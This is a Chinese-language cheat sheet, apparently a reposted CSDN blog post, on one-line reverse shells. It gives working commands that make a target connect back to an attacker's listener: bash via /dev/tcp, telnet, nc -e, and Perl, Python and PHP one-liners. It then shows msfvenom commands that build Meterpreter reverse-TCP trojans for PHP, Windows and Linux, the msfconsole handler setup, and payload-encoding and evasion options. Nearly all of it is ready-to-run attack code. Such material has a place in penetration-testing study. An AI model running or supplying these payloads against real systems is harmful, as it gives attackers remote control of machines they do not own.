一句话反弹shell

1.bash反弹

攻击机监听端口 

netcat: nc -nvlp 4444

-n:  不反向解析dns,即不通过ip解析域名 no dns

-v:  详细信息输出 verbose

-l:   监听 listen

-p: 指定端口 port

靶机执行shell命令   

bash -i >& /dev/tcp/攻击机ip/攻击机port 0>&1

bash -i:交互式shell

 >& :输入输出重定向:0 stdin, 1 stdout, 2 stderr

/dev/tcp/ip/port: 特殊文件

注: /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

2.telnet反弹

攻击机监听端口 启动两个终端

netcat: nc -nvlp 4444

netcat: nc -nvlp 5555

靶机telnet反弹shell

telnet 攻击机ip 4444 | /bin/bash | telnet 攻击机ip 5555

注:bash进程的 0 ,1 :stdin,stdout 标准输入输出描述符 都重定向到pipe,关联两个telnet进程,两个telnet进程分别与攻击机两个端口建立了socket连接

3.nc(netcat)反弹

攻击机监听端口

nc -nvlp 4444

靶机连接端口并反弹shell

nc -v 攻击机ip 4444 -e /bin/bash

-e:  指定nc连接成功后执行的程序

4.perl反弹

攻击机监听端口

nc -nvlp 4444

靶机perl反弹shell

perl -e 'use Socket;$i="攻击机ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

5.python反弹

攻击机监听端口

nc -nvlp 4444

靶机python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

6.php反弹

攻击机监听端口

nc -nvlp 4444

靶机php反弹shell

php -r '$sock=fsockopen("攻击机ip",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

7.msf 生成木马反弹shell

msfvenom 生成木马
1. 生成php反弹木马:

msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f raw > /root/shell.php

2. 生成windows反弹木马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f exe > /root/hacker.exe

3. 生成linux反弹木马:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f elf > /root/shell

msfconsole 控制台监听

1. 选择监听模块:

use exploit/multi/handler

2. 设置payload反弹:

set payload windows/meterpreter/reverse_tcp

注:此处为生成木马payload

3. 设置LHOST、LPORT参数:

set LHOST 攻击机ip    set LPORT 监听端口

注:和生成木马设置对应

4. exploit 或 run 开始攻击,进行监听

5. 等待靶机运行木马,msf产生session会话

msfvenom 命令参数:

  ​ -p,  --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或 者stdin指定
  ​ -l,   --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
​   -n,    --nopsled <length> 为payload预先指定一个NOP滑动长度
  ​ -f,  --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
​   -e,    --encoder [encoder] 指定需要使用的encoder(编码器)
​   -a,    --arch <architecture> 指定payload的目标架构
​      --platform <platform> 指定payload的目标平台
​   -s,  --space <length> 设定有效攻击荷载的最大长度
​   -b,  --bad-chars <list> 设定规避字符集,比如: &#039;\x00\xff&#039;
​   -i,   --iterations <count> 指定payload的编码次数
​   -c,  --add-code <path> 指定一个附加的win32 shellcode文件
​   -x,  --template <path> 指定一个自定义的可执行文件作为模板
  ​ -k,  --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
  ​    --payload-options 列举payload的标准选项
​   -o,    --out <path> 保存payload
​   -v,    --var-name <name> 指定一个自定义的变量,以确定输出格式
  ​   --shellest 最小化生成payload
​   -h,   --help 查看帮助选项

猜你喜欢

转载自blog.csdn.net/whatday/article/details/102743552